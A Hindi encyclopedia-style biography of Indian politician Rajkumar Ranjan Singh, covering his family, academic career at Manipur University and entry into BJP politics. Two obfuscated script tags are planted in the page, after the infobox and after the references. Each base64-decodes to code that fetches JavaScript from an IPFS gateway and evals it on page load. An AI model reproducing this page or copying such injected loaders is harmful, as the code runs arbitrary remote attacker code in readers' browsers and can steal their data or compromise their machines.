राजकुमार रंजन सिंह
राजकुमार रंजन सिंह
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पूरा नाम | राजकुमार रंजन सिंह |
जन्म | 1 सितम्बर, 1952 |
जन्म भूमि | कोंगबा मखा नंदीबम लेके, पूर्वी इम्फाल ज़िला, मणिपुर |
अभिभावक | पिता- स्वर्गीय राजकुमार नीलमणि सिंह माता- निंगथेम्चा ओंगबी अचौबी |
पति/पत्नी | देबाला देवी |
संतान | दो पुत्र |
नागरिकता | भारतीय |
प्रसिद्धि | राजनीतिज्ञ |
पार्टी | भारतीय जनता पार्टी |
पद | राज्य मंत्री, विदेश मंत्रालय- 7 जुलाई, 2021 से |
संबंधित लेख | नरेन्द्र मोदी का मंत्रिमण्डल, नरेन्द्र मोदी |
अद्यतन | 17:13, 21 जुलाई 2021 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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राजकुमार रंजन सिंह (अंग्रेज़ी: Rajkumar Ranjan Singh, जन्म- 1 सितम्बर, 1952) भारतीय जनता पार्टी के राजनीतिज्ञ हैं, जिन्हें 7 जुलाई, 2021 को प्रधानमंत्री नरेन्द्र मोदी के मंत्रिमण्डल में विस्तार तथा फेरबदल के बाद 'विदेश मंत्रालय' तथा 'शिक्षा मंत्रालय में राज्य मंत्री' बनाया गया है।
परिचय
राजकुमार रंजन सिंह का जन्म 1 सितम्बर, 1952 को कोंगबा मखा नंदीबम लेके, पूर्वी इम्फाल ज़िला, मणिपुर में हुआ था। आप मणिपुर के शाही परिवार से जुड़े हैं। इनके पिता स्वर्गीय राजकुमार नीलमणि सिंह थे। इनकी मां का नाम निंगथेम्चा ओंगबी अचौबी है। धना मंजुरी कॉलेज से स्नातक की पढ़ाई करने के बाद राजकुमार रंजन सिंह की शादी देबाला देवी से हुई। इनके दो पुत्र हैं। साल 1971 में गुहाटी यूनिवर्सिटी से भूगोल में मास्टर्स किया और फिर प्रॉब्लम्स ऑफ लैंड यूज पर पीएचडी की पढ़ाई पूरी की। राजकुमार रंजन मणिपुर के शाही खानदान से संबंध रखते हैं जिसे आज भी लोग मानते हैं।[1]
शिक्षण कार्य
राजकुमार रंजन ने पहली बार साल 1973 में आइडियल गर्ल्स कॉलेज में प्रोफेसर के तौर पर काम किया। यह काम वह साल 1984 तक करते रहे। साल 1985 से वह डिप्टी रजिस्ट्रार के तौर पर काम करने लगे। मणिपुर के कई कॉलेज में पढ़ाने के बाद राजकुमार रंजन ने मणिपुर यूनिवर्सिटी में असिस्टेंट प्रोफेसर की तरह काम किया। वह अर्थ साइंस में प्रोफेसर के तौर पर नियुक्त थे। साल 2004 से 2008 तक मणिपुर यूनिवर्सिटी में रजिस्ट्रार नियुक्त किए गए। साल 2013 तक आप मणिपुर यूनिवर्सिटी के कॉलेज विकास डायरेक्टर बने रहे। शुरू में इनका करियर एक अध्यापक और अध्ययन से संबंधित था।
राजनीति
राजकुमार रंजन सिंह के राजनीतिक करियर की शुरुआत साल 2013 में हुई, जब वह भारतीय जनता पार्टी से जुड़े। फिर अगले साल 2014 में ही लोकसभा चुनाव लड़े। अपने शुरू के इस चुनाव में उन्हें हार का मुंह देखना पड़ा। साल 2019 में बीजेपी के टिकेट पर वह 17वें विधानसभा चुनाव में सांसद चुने गए। बीजेपी में बतौर स्पोक्सपर्सन के तौर पर काम भी किया। इन्हें विज्ञान और प्रौद्योगिकी के लिए स्थायी समिति 'डोनर' के लिए सलाहकार समिति और संसदीय नियम समिति सहित कई संसदीय समितियों का सदस्य नियुक्त किया गया है।[1]
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टीका टिप्पणी और संदर्भ
- ↑ 1.0 1.1 गर्ल्स कॉलेज में प्रोफेसर से मोदी कैबिनेट तक का सफर (हिंदी) newstrack.com। अभिगमन तिथि: 21 जुलाई, 2021।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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